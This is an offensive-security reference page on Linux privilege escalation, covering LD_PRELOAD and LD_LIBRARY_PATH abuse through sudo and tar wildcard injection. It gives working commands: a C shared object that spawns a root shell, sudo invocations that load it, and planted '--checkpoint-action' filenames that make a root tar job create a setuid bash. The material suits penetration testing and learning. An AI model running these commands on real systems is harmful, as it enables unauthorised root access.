OPSECTLAS you are here: Linux
Linux

LD_PRELOAD, LD_LIBRARY_PATH & Wildcard Injection

reference 9 commands

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex
What it is

Two classic primitives worth checking the moment you read sudo -l or find a root job touching a directory you can write. If a sudo rule keeps LD_PRELOAD or LD_LIBRARY_PATH in the environment, you force root to load a shared object you wrote. Wildcard injection abuses a root script that globs a writable directory (tar *, rsync, chown, chmod) so your filenames are read as command-line flags.

LD_PRELOAD: only when `sudo -l` shows env_keep+=LD_PRELOAD.

echo 'void _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash -p");}' > /tmp/x.c
gcc -fPIC -shared -o /tmp/x.so /tmp/x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so <ALLOWED-BINARY>

LD_LIBRARY_PATH: hijack a library a sudo-allowed binary loads.

ldd <ALLOWED-BINARY>

Build a malicious .so exporting a symbol it imports, drop it in /tmp, then:

sudo LD_LIBRARY_PATH=/tmp <ALLOWED-BINARY>

Wildcard injection: a root cron/script runs e.g. `tar czf /root/backup.tar.gz *`

in a directory you can write to. Plant filenames tar reads as options:

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > runme.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh runme.sh'

When root's `tar *` runs, runme.sh executes as root:

/tmp/rootbash -p
connected
in playbooks
Privilege Escalation Approach